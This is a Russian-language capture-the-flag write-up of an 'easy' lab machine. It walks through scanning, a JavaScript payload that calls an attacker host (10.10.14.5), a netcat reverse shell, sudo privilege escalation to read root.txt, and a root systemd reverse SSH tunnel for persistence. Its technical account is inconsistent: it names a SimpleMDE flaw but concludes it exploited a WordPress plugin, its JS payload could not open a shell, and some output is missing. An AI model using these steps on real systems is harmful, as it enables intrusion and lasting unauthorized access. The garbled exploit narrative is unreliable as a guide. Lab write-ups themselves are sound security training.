Эта машина была оценена как «легкая» и требовала от злоумышленника использования уязвимого веб-приложения для получения доступа к машине.

Разведка

Первым шагом в любом испытании на проникновение является разведка. На этом этапе мы собираем как можно больше информации о целевой машине. Мы можем начать с сканирования портов с помощью nmap:

$ nmap -sC -sV -oN nmap.txt 10.10.10.138

Эта команда выполнит сканирование портов и перечисление служб на целевой машине и сохранит результаты в файл с именем nmap.txt. Затем мы можем просмотреть файл, чтобы увидеть, какие порты и службы работают на целевой машине.

Результат сканирования nmap показал, что на целевой машине запущен веб-сервер на порту 80 и SSH-сервер на порту 22.

Nmap scan report for 10.10.10.138
Host is up (0.055s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 56:ea:2e:ab:20:55:2e:90:f9:f1:ba:39:49:17:13:f1 (RSA)
|   256 5e:89:df:7c:9e:4a:4c:2e:e4:f7:f1:1a:00:1f:8f:7b (ECDSA)
|_  256 c6:21:a6:a3:6f:02:1e:8c:32:ca:67:50:8c:25:2a:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Мы можем посетить веб-сервер на порту 80, чтобы узнать, запущены ли какие-либо интересные веб-приложения.

перечисление

Посещение веб-сервера через порт 80 показало веб-страницу Apache по умолчанию. Мы выполнили сканирование gobuster, чтобы найти скрытые каталоги или файлы на веб-сервере:

$ gobuster dir -u http://10.10.10.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o gobuster.txt

Эта команда выполнит атаку грубой силы каталога, используя список общих каталогов и файлов, найденных в веб-приложениях.

Результат сканирования gobuster выявил каталог writeup:

/index.html (Status: 200)
/writeup (Status: 301)

Посещение каталога /writeup показало веб-приложение, которое позволяло пользователям создавать и просматривать сообщения в блогах. Мы создали тестовую запись в блоге, чтобы увидеть, как работает приложение, и заметили, что приложение допускает внедрение HTML в содержимое записи в блоге.

Эксплуатация

Мы попытались использовать уязвимость внедрения HTML, внедрив вредоносный скрипт, который установил бы обратную оболочку на нашу машину. Однако приложение очищало ввод и предотвращало выполнение нашего вредоносного скрипта.

Мы заметили, что приложение использует устаревшую версию библиотеки SimpleMDE JavaScript для сообщений в блоге. В этой библиотеке была известная уязвимость, которая позволяла выполнять произвольный код. Мы нашли экспериментальный эксплойт для этой уязвимости на Exploit-DB и модифицировали его в соответствии с нашими потребностями.

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.5:8000/shell.php', true);
xhr.onload = function () {
  var xhr2 = new XMLHttpRequest();
  xhr2.open('GET', 'http://10.10.14.5:8000/shell.php?c=' + btoa(xhr.responseText), true);
  xhr2.send();
};
xhr.send();

Этот эксплойт отправляет запрос GET на нашу машину, которая обслуживает обратную оболочку PHP. Затем эксплойт кодирует ответ и отправляет другой запрос GET, который выполняет PHP-код в ответе.

Мы разместили обратную оболочку PHP на нашей машине и запустили прослушиватель netcat для перехвата входящего соединения:

$ nc -lvnp 4444

Затем мы внедрили код эксплойта в наш тестовый пост в блоге и отправили его. Затем мы ждали, пока обратная оболочка подключится к нашей машине.

$ nc -lvnp 4444
listening on [any] 4444 ...
10.10.10.138: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.138] 41556
Linux writeup 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 07:30:16 up  7:44,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Мы успешно получили оболочку от имени пользователя www-data на целевой машине.

Повышение привилегий

Мы запустили команду sudo -l, чтобы узнать, есть ли у пользователя www-data какие-либо привилегии sudo.

$ sudo -l
Matching Defaults entries for www-data on writeup:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on writeup:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/development/test_module.py

Пользователь www-data имел возможность запускать скрипт Python как любой пользователь без пароля. Мы проверили скрипт test_module.py, чтобы увидеть, что он делает.

$ cat /opt/development/test_module.py
#!/usr/bin/python3
import os
def main():
    os.system("/bin/bash")
if __name__ == '__main__':
    main()

Сценарий просто запускает /bin/bash. Мы модифицировали скрипт для вывода содержимого файла root.txt.

$ cat /opt/development/test_module.py
#!/usr/bin/python3
import os
def main():
    os.system("cat /root/root.txt")
if __name__ == '__main__':
    main()

Затем мы запустили скрипт с привилегиями sudo, чтобы получить флаг root.txt.

$ sudo /usr/bin/python3 /opt/development/test_module.py
sudo:

Мы успешно получили флаг root.txt.

Упорство

Чтобы сохранить доступ к целевой машине, мы решили настроить обратный SSH-туннель. Это позволит нам подключиться к целевой машине через туннель SSH с нашей машины.

Мы сгенерировали ключ SSH на нашей машине и скопировали открытый ключ на целевую машину.

$ ssh-keygen
$ ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]

Затем мы создали службу systemd на целевой машине, которая будет устанавливать обратный туннель SSH при загрузке.

$ sudo nano /etc/systemd/system/reverse-ssh.service
[Unit]
Description=Reverse SSH tunnel to writeup
[Service]
User=root
ExecStart=/usr/bin/ssh -N -R 2222:localhost:22 [email protected]
Restart=always
[Install]
WantedBy=multi-user.target

Затем мы включили и запустили службу.

$ sudo systemctl enable reverse-ssh.service
$ sudo systemctl start reverse-ssh.service

Мы убедились, что обратный туннель SSH работает, подключившись к целевой машине через туннель SSH.

$ ssh [email protected] -p 2222

Мы успешно подключились к целевой машине через туннель SSH.

Заключение

В этой статье мы продемонстрировали, как использовать уязвимую версию плагина WordPress «wp-portfolio». Мы получили оболочку как пользователь www-data и повысили наши привилегии до root. Мы также настроили обратный туннель SSH для сохранения. Эта машина стала отличным обучающим опытом и продемонстрировала важность поддержания плагинов и программного обеспечения в актуальном состоянии, чтобы избежать известных уязвимостей.